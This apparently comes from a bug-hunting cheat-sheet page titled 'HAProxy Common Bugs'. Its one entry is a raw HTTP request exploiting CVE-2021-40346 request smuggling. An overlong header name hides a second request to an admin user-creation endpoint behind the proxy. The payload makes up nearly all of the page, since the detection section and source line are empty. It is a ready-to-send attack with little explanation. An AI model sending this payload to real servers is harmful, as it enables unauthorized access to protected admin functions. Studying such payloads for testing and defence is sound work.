HAProxy Common Bugs

Introduction

What would you do if you came across a website that uses HAProxy?

How to Detect

-

  1. CVE-2021-40346 (HTTP Request Smuggling)

POST /index.html HTTP/1.1
Host: abc.com
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 60
 
GET /admin/add_user.py HTTP/1.1
Host: abc.com
abc: xyz

Source:

PreviousGrafanaNextJenkins Common Bugs

Last updated